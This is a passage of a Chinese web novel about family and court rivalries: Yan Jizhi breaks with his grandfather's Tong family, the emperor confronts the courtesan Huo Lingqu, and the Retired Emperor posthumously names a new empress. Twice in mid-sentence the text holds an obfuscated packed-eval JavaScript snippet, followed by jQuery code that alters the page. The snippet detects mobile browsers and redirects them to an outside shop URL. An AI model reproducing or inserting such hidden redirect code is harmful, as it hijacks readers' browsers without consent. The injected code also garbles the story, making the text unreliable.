英王妃是佟尚书夫妇的长女,她的大弟只比她小两岁,但晏霁之和佟卓伦相差五岁了;虽然相差五岁,表兄弟俩还是打小不对付,长辈们多番调和都没用。 起因在于二十年前,英王妃总要把亲儿的玩具和珍宝送给侄儿挑,晏霁之或在尚不知情时自己的库房就被洗劫一空或被亲娘压着必须给,他忍了两年,忍得忍无可忍终向祖母告状,由此他夺回自己所有物的掌控权也引发他和生母关系破裂的开端。 “比起你强逼父亲给庶兄分家,我这点微末小事何伤大雅?” 佟卓伦尚未娶妻,本想考中状元再娶妻。他很有信心,祖父和授业先生们也都认为他拔头筹稳了,同窗们还曾起哄扬言状元非他莫属,哪想去年科考成绩出来,他非但没中状元还连三甲都没进,仅仅只考中进士。 他丢人丢大了没脸留京里,莫说相看定亲,连去年祖母六十大寿都没出现,就在外游历散心,今年正月才进翰林院入职。可他刚进翰林院,去年高中的状元郎就被外派做地方官,他浑身是嘴都说不清了。但对面晏霁之,他根本不屑辩解。 “也对,佟大少爷只会跟在姑母屁股后面白拿表兄的东西。” “晏霁之?!”佟卓伦跳脚,两三岁时候他能懂什么,姑母给他好玩的东西他当然拿,可这黑点他只能任嘲根本没法拿年幼反驳,再掰扯,晏霁之就能指佟家没家教。 “三天前的事,霁儿确实做得不妥。”佟尚书已经六十二岁高龄了,虽然两鬓花白、脸上皮肉已见松弛,但岁月沉淀的气质却是年轻人不能比拟的,更未现迟暮之年的衰颓气息,不怒自威,年长的风华在他身上显露无疑。 霍振羽闻言真想质问那外祖父你为何不言行一致?再三挣扎都没勇气,只能不做声。 晏霁之斜眼瞟瞟佟卓伦,嗤笑声,表情轻蔑。佟尚书似未察,佟卓伦毫不犹豫反击:“我可比不得你被个青楼娼妓迷得晕头转向连扶正的允诺都能许。” “前年你的通房怀了胎又被打掉,沉溺声色还损阴德,大概就是你考不中状元的原因。” 佟卓伦气得拍桌,佟四老爷佟梦佶见状连忙打圆场, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459235|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他是佟尚书的幼子,生得好相貌,年纪不大但辈分大,何况还有老太爷在座,佟卓伦对这小叔没什么敬意也不好再驳。 晏霁之比这庶舅还年长两岁呢哪能卖他脸面:“授康二十六年我高中状元,正徽元年,小舅舅你高中状元,幸好去年的状元郎不姓佟。” “晏霁之?!”佟卓伦受不得这种刺激,晏霁之凉凉睨他:“二舅三舅都只止步于举人,你高中进士还是能在佟家以才学鄙视他人的。” “好了,表兄弟俩针尖对麦芒多少年了还没吵够吗?还没娶妻就真都以为自己还小吗,振羽年轻都比你们俩成熟稳重。”佟大老爷佟梦奭喝住他们越吵越激烈的架势,比起父亲和弟弟,他样貌较粗疏,第一眼感觉厚重老实。 “三天前,霁之你行事确实有错,英王纵有不妥,可哪有孩儿受点委屈就强逼父亲之理?按说佟家不该过问,可你行事如此狂悖,你爹都管不得你了,外祖家再不出面,任由你胡闹纵得你愈发行差踏错岂非反而在害你?” 佟大老爷再叹口气,形容恳切谆谆教道:“英王毕竟最疼爱晏明潜,你硬生生将庶兄逼走,今后还如何与你爹相处,外面又将会有多少闲言碎语指向你?你既已经出过气,犯不着真闹那么僵,且我们行事该以和为贵,隔日就请你庶兄归家也好皆大欢喜。” “以和为贵?强抢后位算是以和为贵还是狂悖,应该属狂悖吧;况且此举置皇家于何地,皇帝像能忍这种窝囊吗?皇家颜面能受此侮辱吗,即使顾念太后又能宽恕多少?” 晏霁之淡淡讽笑:“霍家管不了了,外祖家再不出面管教岂非在纵容蓁蓁母女找死吗?大舅如此有心不如先管教妹妹和外甥女,比起他们死期临近,我这点小性情无伤大雅。” 佟尚书端茶的手僵住,佟大老爷一时词穷难辩驳,佟卓伦屏息着急,虽然他看霍振羽这表弟憨憨蠢蠢,可当他面把话点透了他还能继续无知无觉吗?有察觉保不齐得生变。 四老爷佟梦佶不着痕迹地打量这位比自己年长的大外甥,这总不可能是无心之言吧?可若是故意又算什么意思,想和外祖家翻脸吗? “表哥你说什么,什么寻死路?”霍振羽死死盯着表兄,心跳加速牙齿发颤:“什么叫做死期临近,这是姑母和祖父还有我爹和伯父都赞成的,怎会是寻死路?” “你姑母是当朝太后,太后当然能在逼迫皇帝之后仍然无恙,你娘和你妹妹凭什么?” 晏霁之神情讥诮而诛心:“朝堂皆知是兴献侯夫人母女死活闹着要抢后位,有太后在,皇帝将来要清算,霍家想撇干净轻而易举,无非舍掉霍蓁蓁母女而已,霍秦川为何不同意?你认为皇帝能忍此窝囊,太上皇能容皇家受此侮辱,你就等着做你的做国舅爷好了。” “振羽——”佟大老爷想劝解外甥,刚喊出振羽两字,霍振羽即似阵狂风般往外跑,眨眼间他就冲出书房跑出他们的视野,霎时只剩被撞开的坚固木门在咯吱作响。 佟四老爷当即请示要去追,佟尚书没理会,专注注视外孙:“霁儿,你何意啊?” “外祖父看不懂吗?礼尚往来呀。”晏霁之随性言:“谁叫您家大老爷非要恶心我?” “你这是什么态度,你对长辈什么态度,你看看你成何体统?”佟大老爷强压愤怒训斥:“危言耸听恐吓表弟,出言不逊辱骂舅父,霁之你是真的欠管教吗?” 若非要做戏,晏霁之根本没兴趣多费唇舌,他漫不经心表演不屑:“你也配?” “狂妄、目无尊长,狂妄至极!”佟大老爷佟梦奭再难忍耐:“卓伦拿长鞭来,我这舅父今日若是再不好好管教管教你,我看你都要把长幼尊卑抛到脑后了。” 佟四老爷看眼父亲再劝嫡兄息怒,佟卓伦见状憋闷地劝这表兄,晏霁之嗤之以鼻:“你以为自己算哪颗葱?我进书房时都已经不向舅舅打招呼了,你还没点数吗?” “放肆,你简直放肆至极!”佟梦奭怒火飙升,推开庶弟上前就要打时被下句话制住:“你们寄予厚望认为佟卓伦能考中状元,结果落一场空,不想知道缘由吗?” 佟大老爷猛地顿住,猜到某种可能不可思议地看向这个外甥,另外三位自然也是敏感地察觉出他话中有话,各自神情各异而又同样的难以置信,佟尚书问:“霁儿,你做的?” “我叔公晏副相向圣人和陛下提议摒除科考的浮夸风气,弃辞藻华美却言之无物的文章,择实用学风,圣人和陛下允准,故去年科举名列前茅的诸位几乎都出人意料。”晏霁之笑,笑得优雅从容意味深长,笑意中深藏佟尚书最渴望那翻云覆雨的高高在上。 “是我向晏副相建议改科考风气,也是我劝动房副相接管去年的科考事宜以及将礼部尚书排除在主考官之外;没别的意思,给你们点警戒而已。”他高傲,仿若融进骨髓的高傲,一种甚至不屑对他们轻蔑的高傲,更是深深刺痛他对面四位的高傲。 “看看霍振羽的岳家,就没点感触吗?老穆国公和霍漓江难道是傻吗,给振羽挑个还得要靠他帮扶的岳家?摆明在防你们打秋风呢。”晏霁之伸手弹弹衣袖,施舍般提点:“想把大家族姻亲当做往上爬的踏脚石,也该先掂量自己的斤两够吗? 不是晏家和霍家看不出这点伎俩,不过是懒得计较,因为还没到那份儿上。即使现在,要踩死佟家也就像踩死一只蝼蚁那么简单,何必与蝼蚁计较?” “哈哈哈……”佟尚书按紧桌案撑着站起来,双手骨节因用力而彻底发白,年老的眼睛迸射着如鹰隼般锋锐的目光,声音有种临界的阴沉:“霁儿不知骄兵必败吗?你这么早和外祖父撕破脸,外祖父今后可没办法再疼爱你了。” “外祖父的心思,我懂。”晏霁之莞尔,桃花眼含笑,在这刻格外风流俊逸:“您老想在有生之年看到佟家鼎盛,取代霍家成为当朝第一豪族的鼎盛。外孙就祝您能够抢到贵妃位,将来佟妙兮踩着霍蓁蓁的尸骨、你佟家踩着霍家满门尸骸往上爬不会做噩梦。” “啊……” 书房中尚未作任何应答,书房外传来阵刺耳的尖叫,佟尚书和他的儿孙们不约而同心尖一颤有种不好的预感,他抬眼看见孙女妙兮惨白着脸站在门槛外,霍蓁蓁颤颤巍巍地走出,发间珠钗步摇和腰间配饰凌乱晃动,往日水灵粉嫩的俏颜血色全无。 44. 第44章 或许人性使然,同件事,同段话,偷听得知往往比当面相告更会令当事人相信。 霍蓁蓁信吗?如果当面锣对面鼓告诉她,佟家存心不是想帮她而是想利用她,即使是嫡亲表兄堂兄给她警醒,可能她也会不以为然甚至怀疑是挑拨离间心存歹意反而还会加以驳斥,可她自己意外偷听到的就不同了,何况还有她亲哥疑似发狂在眼前。 “外祖母想见表哥,怕奴婢们请不动表哥,所以就我和表姐来叫。我们走到院外看见我大哥在那发狂瞎跑转圈还用头撞树整个人就好像入魔障了,奴婢们都拉不住。 我好奇你们说什么竟然害得我哥发狂,我直接问你们肯定不会告诉我,我就想来偷听,表姐不同意但是拗不过我。许多下人在追我哥,院门守得不严,我让随行婢女做掩护,我们就溜了进来,听到表哥在讲去年的科举……” 霍蓁蓁哆哆嗦嗦解释完忽然也如发狂般急急冲进书房,她直冲奔向晏霁之,在即将触及时被堵截,佟大老爷心急如焚地按住外甥女劝:“蓁蓁你听大舅说,你别听晏霁之颠倒黑白,他就是个阴险狡诈心胸狭隘的恶徒,他根本不安好心——” “你滚开!”霍蓁蓁缓过劲儿爆发出活到现在最大的力气推开这舅舅,箭步上前抓住晏霁之的手臂再紧盯着他的眼睛问:“表哥你说的都是真的吗,佟家要争贵妃位不是想帮我而是想害我,他们想踩着我还有我霍家的尸骨往上爬?” “蓁蓁你别听他信口雌黄,他诡计多端心狠手辣卑鄙无耻,他就是个龌龊的贱种是祸害,他见不得别人好,连他亲爹亲娘都厌恨嫌恶他,他这种祸害的话怎么能够信……” 佟大老爷佟梦奭被推开又忙不迭规劝,佟卓伦紧随襄助父亲,急促交错的相劝声像苍蝇般在霍蓁蓁耳边嗡嗡炸响,她被烦地吼:“够了,你们闭嘴,通通闭嘴,你们再烦我,我就当表哥说的都是真的,你们就是群卑鄙龌龊的下贱胚。” 佟卓伦被迫收声急怒交加,他父亲佟大老爷狠狠攥紧拳头,四老爷佟梦佶无奈地闭眼,他不想想嫡兄愚蠢毕竟事出突然情势紧迫且也怪他没拦,可他真怀疑这嫡长兄活四十多岁了难道都还不知祸从口出吗?晏霁之多心高气傲,能忍受贱种这类恶语吗? 佟尚书低头垂眸安静得诡异,他在考量霍蓁蓁的出现有算计吗?此事太过凑巧,真能有种凑巧吗,还是是他这位外孙在算计布局? “尚未发生的事,我也只是以其言行揣测。”晏霁之淡声道:“除非你能听到佟家背地里真正的心里话,否则真假信否只能凭你自己判断。” “那那那……”霍蓁蓁咽咽口水定定神:“怎么揣测,他家哪里不好让你发现了?” 晏霁之反问:“他家哪里好?教唆出嫁的姑奶奶们把夫家搬空填娘家,蛊惑姑奶奶们将娘家人全放在亲生骨肉之前,用尽心机妄想捏住所有外孙做供他家驱使的傀儡?” 他讥笑声,推开霍蓁蓁的手臂往书房外走,霍蓁蓁愣了愣忙追上:“表哥你送我回霍家,我娘向着娘家不会相信还会反过来训我,我不能等她,我要回家找我爹和祖母。” 佟大老爷眼睁睁看这两人走掉,急得差点跺脚,就不明白:“爹您怎么不拦呀,您怎么能真放任蓁蓁跟晏霁之走?孩儿知道你疼爱这个大外孙,可他向着外祖家吗? 去年科举卓伦没能夺桂是他在捣鬼,现在又挑唆蓁蓁跟我们反目,他都跟我们撕破脸了,您还要放任吗?您想过因为您对他这份疼爱和放任会将咱家害成什么样吗?” “蓁蓁此刻还能听得进吗,适得其反四字还需为父教你不成?”佟尚书厉声道:“即刻带卓伦和妙兮回后院,如何向你母亲和姐妹们解释不需为父再交代了吧?” 佟大老爷羞愤地快速瞥过眼庶弟,握紧拳头向父亲拱手告退,带他的俩儿女回后院。 “爹,大哥只是一时心急。”四老爷佟梦佶温笑缓和被老父亲制止,佟尚书绕出书桌一步步慢慢踏向书房外的庭院,绵长的遗憾藏在他深沉目光中,他仿佛只是陈述件事。 “正正经经的阳谋到他嘴里成了捣鬼,二十多岁的大外甥最显著的性情都认不清,连个还没及笄的外甥女都不知该怎么劝,甚至污言秽语不堪入耳,你嫡长兄是扶不起来;为父在他身上耗费再多心思还是不堪用,梦奭若能有你一半,爹都能放心。” “父亲?!”佟梦佶连忙跪地劝解:“大哥心里急才难免不周全,您言重了。” “你觉得霁儿能一笑置之?”佟尚书问,佟梦佶犹豫是否按自己的揣测照直答,在他犹豫之际他父亲肯定出声:“不会的,霁儿能容佟家的心思,能忍外祖家在没有侵害到自家根基前的所有行为都不可能忍受那贱种二字。” 四老爷佟梦佶默认请罪:“是孩儿的错,孩儿没及时拦住大哥,请父亲责罚。” “贵妃位,佟家没戏了,妙兮只能从秀女开始慢慢来,那佟家就想办法让贵妃姓晏。”佟尚书叮嘱道:“晋王和平原大长公主还有皇后与建威侯府都可利用,说服他们坐山观虎斗、收尽渔利不会太难,你母亲和兄嫂必定还不肯认,就别让他们知道了。” “孩儿明白。”佟梦佶站起来宽慰:“爹,既然只能走这步,您也别太伤心了,霁之岂能不知您是真心疼爱他?只是您有抱负和对佟家的期许,世事难以两全,他明白的。” 佟尚书怅然:“霁儿如果能姓佟,该多好?” 佟梦佶在心中长叹,他父亲是真疼爱晏霁之,嫡兄没察觉可他却看得清楚,佟卓伦兄弟这俩嫡出亲孙加起来也不及那大外孙得老太爷喜爱。 而继晏霁之带霍蓁蓁离开,霍振羽狂奔跑出外祖家没多久,事情就急剧发酵,严重程度不啻于在滚烫的油锅里倒进盏冷水溅得人瞬间被灼伤般,英王妃尤甚,她全然杀气腾腾地陪母亲带妹妹冲到霍家要教训那孽障以给娘家赔罪。 事出突然,霍家毫无准备时接到两拨冲击险些乱成一锅粥。 霍老太太在前院厅堂坐镇防止佟老夫人想寻死腻活撒泼,穆国公夫人带两个儿媳妇相与会客周旋,可对方特别是英王妃根本不讲理,她们难以如泼妇骂街般不讲理便有些挡不住,以致霍雄鹰都上场帮忙吵架,整座堂屋的吵闹对骂声都快飘出半里地外了。 收到消息赶回家的霍巨浪看到这副场景冒出个念头:他终于知道一百只鸭叫是什么样了。站在窗外观摩阵后调头去给祖父请安,问清楚详细情况再问给他家惹事的那厮在哪? 跨进兄长的院里,看到他们竟然在庭前对弈,霍巨浪阴阴恭维:“妹夫真是好雅兴。” 霍海啸笑道:“好歹让蓁蓁信了她外祖家不怀好意,不让他躲躲说不过去。” “天爷啊,我在屋外站着只看半刻钟就头昏脑涨。”霍巨浪很怀疑:“咱们只是告诉蓁蓁她外祖家不怀好意,不是说要把佟家碾死吧?他们这是在做甚,他家老太爷是礼部尚书吧,还要点脸吗?来我霍家这么撒泼,这是想今日就断掉姻亲关系吗?” “按你妹夫的解说,英王妃是不讲理的,霍家是亲戚就更无所顾忌,二婶是心急,顺郡王妃则在凑热闹,而佟老夫人近一两年已经得意忘形,蓁蓁若疏离外祖家是她不能允许的,所以她和她的长女幼女到了我们霍家仍是这副嚣张至极的嘴脸。” 霍海啸补充道:“二弟妹和四弟妹正陪着蓁蓁,振羽还没回来,咱家今天有得闹了。” “什么,振羽不在家?家里闹成这样,他也不是刚知晓他外祖家的心思,他,”霍巨浪嫌糟心想骂终究憋住转而叹气:“从小被他娘带得失掉分寸,也不能怪他。” “他娶妻以后呢,谁家男儿娶妻后还随叫随到陪娘回外祖家,这点分寸还需人教吗?”霍海啸提醒:“将来霍家与佟家翻脸成仇,他承受不住是他自己的因果,不需你同情。” 霍巨浪叹息声没反驳他哥,忽而怪道:“大哥,你和祖父都在家怎会忍佟家这般撒野?跑我们家撒泼直接将人轰出府又如何,说来这佟老夫人跑咱家得意忘形不是可笑吗?” “你妹夫不让轰啊。”霍海啸啧啧:“用过午膳,他要找太上皇告状,得留证据。” “找太上皇?”霍巨浪不甚理解,晏霁之解释:“佟梦奭对外甥女说,蓁蓁别听晏霁之颠倒黑白信口雌黄,他阴险狡诈心胸狭隘心狠手辣卑鄙无耻,他就是个龌龊的贱种是祸害,连他亲爹亲娘都厌恨嫌恶他…… 朝野皆知我姑母是太上皇最爱的女人,我姑母生前疼爱我如心肝宝贝,太上皇还在世,我落到被人骂贱种还不去找他老人家诉委屈那还不如自刎得了。” 霍巨浪给他竖大拇指:“妹夫啊,你真是门槛精到家了,找太上皇你都能想得出来。” “损我呢,我只猜测佟家要争贵妃位不怀好意,英王妃就这副要剁了我的架势,待我请动太上皇惩戒她弟弟,她可能都想将我千刀万剐了。”晏霁之似自嘲:“哪儿精明?” “你娘?”霍巨浪真斟酌不出不违心的话,晏霁之反而宽慰无所谓,继续和霍海啸下棋,一局棋结束后在霍家用顿午膳,他即离开霍家前往太微宫找太上皇。 就在晏霁之得召见走进太微宫时,霍灵渠在回城途中马车车轴断裂,被迫走出车厢。 阳光暖得人熏熏然,青绿欲滴的树叶打个盹儿混进丝草中,满目春景仿佛有这片绿茵环拥的桃花树就够表达,深红浅红的桃花或羞答答团缩成花骨朵儿含苞待放或调皮吐蕊,水红花蕊顶着嫩黄尖尖昂扬招展,饱满的花蜜散发诱人桃花香不由自主招蜂引蝶。 霍灵渠戴好帏帽走近路旁有棵桃花树,刚驻足,一片桃花瓣自枝头翻飞在半空划过几圈优雅的弧度翩跹落在裙摆边,她莫名触景生情,弯腰拾起这片可怜零落的花瓣。 “姨娘,车夫说车轴修不好了得换新的,距城门还剩十多里路,您若着急,就让护卫们进城去雇辆马车来,您若不急可骑着马由奴婢们牵马入城再雇轿回府。只是后面有车队来,他们自称乃丞相府上,说能捎咱们一程。” “相府?”霍灵渠讶异,绿岫嗯声点头,伸手指道:“您看,好长的队伍,骑马在前头那位自称是丞相家的大少爷还说想向您问声好,朱楼姐姐正陪着寒暄,奴婢们不知真假,但想来应该没有人敢冒充丞相府上,您要过去见个礼吗?” 霍灵渠转头遥望眼,领绿岫往回走,认出确是相府少爷,她屈膝告谢:“班大少爷好意,流光心领,在此谢过,只是借乘您家马车不妥当,我们自行回城即可。” “四年多未见,流光还是这般客气。”班韫堂曾在撷芳馆给流光捧过几回场自然认识,他下马相告:“有位贵客耳闻流光的盛名已久,难得有缘遇见,他想一睹流光风采。这位贵客在万万人之上,不能拒绝。” 霍灵渠顿时明白皇帝就在车队中,排斥地捏紧手心,一声好迟迟应不出。 班韫堂见状安抚:“莫怕,贵客不吓人,只是想和你说两句话,不好让贵客久等,我这就过去相请,你只管摘下帏帽中规中矩回话。” “谢班少爷提点。”霍灵渠施礼再谢,下意识抓紧身侧丫鬟的手臂,绿岫迟疑:“姨娘?” 她颓然摘下帏帽递给朱楼,低眉敛目站着,时间对她倏然变得煎熬,呼吸都像在撕扯,她不知这种被安排的时间熬过多久才终于被打断了,然而煎熬打断后迎来的只是苦涩,她听到皇帝的声音命令:“抬起头来。” 胡须花白的班丞相陪在皇帝身侧,对于皇帝突然的心血来潮没放在心上,出现位美貌冠绝当世的佳人,大家都会感兴趣,因为稀有嘛所以想看看,这其实就是纯粹的好奇心。 霍灵渠右手捏成拳,抬头看眼即跪地叩拜:“草民拜见皇帝陛下。” 英王府随行的奴婢们以及四名护卫大惊,相互看看后尽数伏地磕头,正徽帝嬴忱璧自嘲:“朕乘坐相府的车辇前往大相国寺礼佛,意在微服出巡,久闻流光大名难得巧遇,只是想与流光问声好。朕既然没有明示,你为何不能当朕只是位仰慕者,寻常对待?” “陛下说笑了,寻常的仰慕者即使是丞相家的公子,我都能够拒绝会面,可您要见流光能有我本人拒绝的权利吗?班少爷说这位贵客在万万人之上,不能拒绝,这难道不是皇帝的权威在相压?既然草民根本无权拒绝,如何寻常对待?” 班韫堂随即为自己措辞失当向皇帝请罪,嬴忱璧摆摆手示意无碍,吩咐平身,看向她,平淡语气中划过丝落寞:“只因这点事,流光似乎就对朕有很大成见?” 霍灵渠垂眸:“草民不敢。” “朕微服出宫散心,偶遇流光,心血来潮想见你只是想放松下,简单闲话家常,不想见到流光的真面目却令朕有些恍惚,想起位久别故人。”嬴忱璧按部就班问:“流光是哪里人,是京城人士吗,家里可还有人?” “草民家中还有寡居的妹妹和五岁的小外甥,草民是京城人士,童年时远走他乡。” “是朕想岔了,你若还能有庇护如何会流落风尘?”话锋一转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459236|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,嬴忱璧在丞相祖孙前表露态度:“美人格外需要庇护,流光可知这世间你最大的庇佑在何处吗?” 班韫堂心头咯噔声,班丞相也在心里打鼓,难道陛下还有意将这位绝代佳人纳进后宫?可皇帝向来对女色不热衷,何况这位是英王世子的宠妾。 霍灵渠姿态恭敬:“霁之问过我想要孩儿傍身吗?我不想要,我怕娼妓出身的低贱卑微承担不起亲骨肉的人生重负,他对我珍惜爱护,即使将来我年老色衰也会有情分。” 嬴忱璧听来能不觉得刺耳才怪呢,举步迈开步伐道:“流光随朕走走。” 班丞相祖孙对视眼,霍灵渠默默低头跟,保持相隔四五步距跟着又走到桃花树前。 “昨日,晏霁之告诉朕~你不想进宫,你苦苦哀求想求朕放手。”嬴忱璧苦笑:“灵渠,谁的人心不是肉长?朕已经应允绝不会威逼你侍寝,我退让得还没有诚意吗,你还再三排斥相拒就没想过我也会被伤到吗?” 霍灵渠抿抿唇提示:“是陛下在威逼,迫我进宫已是强人所难,遑论感激您退让?” 嬴忱璧咬牙问:“你就这么嫌恶朕?” “我给您解释过许多,可陛下至今没明白,在我心中你我之间好比雄鹰在天、游鱼在海,鹰击长空,鱼恋水渊,试问飞鸟和鱼儿如何相处生活?”霍灵渠仰望蓝天说:“你我曾经未婚夫妻的羁绊在你娶妻时就已彻底断绝,你我余生该各自安好。” “谬论,这根本是谬论。”嬴忱璧低吼驳斥:“是你在否决朕排斥朕,甚至于你在恨朕,你怪我没有坚持住婚约你恨我没有守护住你,你恨得连一个弥补的机会都不肯给我。” 恨?霍灵渠只是没想再续前缘,她为何要想不开进皇宫给自己找罪受:“你已是皇帝,你出于什么心态想要弥补?当年我八岁你十二岁,难道当时的我们能有男女之情吗? 你已经是皇帝,世间有的是千娇百媚钟灵毓秀的女人给你做妃嫔,难道你没有对她们动情反而惦记个十多年前的八岁女孩吗?不如坦诚些,直说你要拿我做棋子用。” “我们童年的温情不足以我惦念至今吗?”嬴忱璧情绪激动,若非几丈外有那么多人,他几乎想要按住她的肩膀质问:“难道我在你眼中~色~欲~薰心吗? 难道我是见到个漂亮的女人就喜欢吗?你问问晏霁之、你问问霍海啸、你问问你爹,他们至今真正动过几次情?你爹有过多少女人,可他只在意只喜欢谁,是你早已过世的母亲!就因为带个娘字,他偏执地都不准你喊自己的生母叫姨娘?!” “母亲?”霍灵渠不由一愣,母亲是她爹毕生的痛,她痴痴向前走几步,冰蓝长裙在这片粉红浅红的桃花瓣下融洽如浑然天成,又沉默几息时间她才收敛情绪:“回城吧,陛下。” 嬴忱璧憋闷而丧气地握紧拳头。 两人重新回到队伍中,众目睽睽,在场众人都看着皇帝竟将乘坐的马车让给流光姨娘,陛下自己则改成骑马;丞相大人突然感觉情况有点不大妙,皇帝莫非真有心思吗? 车队前行,一路走过城门也没暂停与英王府众人分开走而是送到了英王府大宅前,流光姨娘走出车厢致谢过后带婢女们走角门进府,皇帝才勒缰绳调头率众离开。 斜阳碎金洒遍,忙碌的蜜蜂们满载花蜜奔向巢穴,天际浓墨重彩又已是火烧云的舞台。 霍灵渠躺在软塌里醒来,她疲倦,回寝屋就靠在软塌里闭目养神未想真睡着了,醒过神后她走到窗前遥望晚霞,丫鬟喊她用膳才出屋。 晚膳摆在花厅,照例三荤两素一汤:香喷喷的炸酥肉、西湖醋鱼、银耳鸡丝,滑嫩的芙蓉豆腐、白菜粉丝和鲜香笋汤。霍灵渠落座刚喝口笋汤,屋外传来吵闹声,都不需猜是谁,她不受影响的用过晚膳那闹声还没停,只好去瞧瞧。 院里没有英王妃的身影,她是隔着堵院门在院外发飙,一声声孽障吼叫骂嚷得似在咆哮她的仇敌而非亲儿;蔚然居不仅院门紧闭,腰肥膀圆的粗使婆子们正紧紧堵压着院门。 霍灵渠对此情形不由皱眉,看向候立在侧的蔚然居管事妈妈,低声问:“世子呢?” “世子爷在书房,去书房前吩咐奴婢们死守院门绝不能让王妃闯进来。”管事妈妈担忧:“以往王妃和世子闹得再僵也没这般,奴婢有些心慌,姨娘您劝劝世子爷吧。” “因为何事啊?” “不知道,世子和王妃都是酉时回府,王妃就比世子早回府两刻钟,世子进院里就吩咐紧闭院门让奴婢们死死守住,咱们这刚关紧院门,王妃就带人冲到院外。” 霍灵渠踌躇半响决定回正房,从书架拿卷书册淡定看书,待到亥时叫热水准备沐浴洗漱,恰逢晏霁之回房,于是乎俩人洗鸳鸯浴。 “我猜你今天应该比较忙碌且明早有早朝,早些歇息吧。”他们进床榻安置,那叫嚣的喧闹声才终于消停消失,霍灵渠叹息,一吻结束就劝他。 “我刚发现我忽略了一位不该不能忽略的重要人物。”晏霁之既揣测又肯定:“之前英王敢和显国公府硬拼,或许我的推波助澜不够,他才是令英王下决心那位。” 霍灵渠惊讶:“谁呀?” “圣人、太上皇。”晏霁之抱她靠在床头,轻声叙道:“午后我有事求见太上皇,是临时突发状况我随机决定,可到太微宫以后我发现我走这趟像请君入瓮,他似乎正在寻觅契机,而我主动撞过去相当于把契机递给他了。” “是太上皇要拿你的事做文章吗?”霍灵渠犹疑,晏霁之摇头:“能那么简单就好了,正月里时我还打趣你大哥:我们两家难道唇亡齿寒吗?但现在我真有点这种感觉。” “我们两家、唇亡齿寒?”霍灵渠吸凉气,揪紧他的亵衣衣襟,晏霁之摩挲美人的柔荑,目光幽幽:“但愿我多想,但我有预感很快就会有预兆,必在册封贵妃前。”下一瞬他毫无逻辑地装正经:“所以今夜你好好陪我尽兴,不然明早我没精神。” 霍灵渠:“……” 早朝在卯时中,晏霁之还算有良心,没吵醒睡正香的枕边人,自己穿戴好官袍出寝屋,洗漱过后在家喝碗燕窝羹,传晏诺交代些事,他即出府独自骑马前往皇城;以往他就甚少和父亲同行,这段路他独来独往或途中碰到同僚搭搭话都比与他父亲或庶弟同行舒坦。 朝会持续一个多时辰,各项议事结束,太上皇的圣谕送至,向百官宣告两道旨意:一,追尊已故晏贵妃为温献皇后;二,罢免光禄寺少卿佟梦奭。 45. 第45章 一石激起千层浪,金碧辉煌的太极殿仿佛被震出塌陷而百官们却又默契得寂静无比。 传旨官还在对佟尚书训斥呢:“昨儿午后,世子爷可怜巴巴地跑到太微宫诉委屈,可给圣人心疼坏了;温献皇后在世时将这侄儿当亲骨肉疼爱,世子童年时可都喊过圣人姑父的,咱世子多金尊玉贵啊岂能容得你佟家糟践? 不是奴婢要说佟尚书您,您佟尚书是礼部尚书,您佟家还是世子爷的外祖家,应该是最亲切知礼不过的怎么就能闹出这种事?霍七姑娘偷听到您和世子的谈话,生出些许怀疑,您家大老爷就污言秽语满嘴喷粪,对亲外甥连贱种二字都能骂得出来,还有点德行吗? 佟尚书您自己说,您这大儿能担得起光禄寺少卿之职吗,甚至以他的德行还配为官吗?更何况若不惩戒,如何给世子爷慰藉,如何让温献皇后在天之灵安息?” 传旨官踩尽佟家的脸,佟尚书也只能低头认:“大监说的是。” 晏副相神情略凝重地看向侄儿,英王心情也沉,突然追尊他妹妹为皇后哪会那么简单?霍巨浪和晏霁之站得近,再给他竖大拇指,告个状给自家告出位皇后来,这本事忒溜。 偌大的殿里,仍然只有传旨官在念叨:“月底是陛下的寿诞,陛下还要册封贵妃娘娘,追尊温献皇后的诸项事宜不能拖,礼部即刻就着手安排,若是忙不过来就向翰林院借些人手。”说着他弯腰转向龙椅里的皇帝请示:“陛下您说呢?” 正徽帝嬴忱璧淡淡应声,走下龙椅,率领站在朝堂上的晏氏家族诸人前往太微宫。 恭送皇帝离开太极殿,百官们才有点动静,佟大老爷佟梦奭眼眶猩红满脸憋屈悲愤羞辱恼怒地走到父亲面前,极力压抑的他好似下刻就会燃爆的爆竹;四老爷佟梦佶疾步赶过来,想劝又无从谈起,任他想破脑袋也想不到晏霁之竟然能因这个事就让亲舅舅罢官。 佟尚书老脸严肃得难看,一语未言,转身快步带两个儿子往殿外走。 霍漓江对吏部右侍郎喟叹:“温献皇后?晏贵妃仙逝都多少年了,您家驸马爷还没治愈,圣人就追尊晏贵妃为后,看来晏家在圣人心目中的地位当真匪浅呢。” 薛侍郎乃显国公同母亲弟,薛驸马的亲叔叔,闻言他要笑不笑:“漓江兄多操心自家吧,温献皇后总不是白白追尊,你们两家这举国第一第二两大豪族,哦对,还是前任第一和现任第一世家可算有机会能较量番,你霍家仰仗霍老太爷还在世必定能占上风。” 湘王臭着脸找表兄霍巨浪问他父皇什么意思吗?其实他还算克制,他俩皇兄魏王和晋王的脸色才叫差,晋王甚至没有避讳地当着百官面前对魏王冷笑。 “德性宽柔曰温,智哲有圣曰献,以温献为谥号饱含着父皇多少爱意啊,任皇后乃是父皇的原配可都只得中规中矩的贞敬二字。” 魏王冷冷睨他一眼,大步流星走出大殿,多数官员们也三三两两或小声交流着往外走。 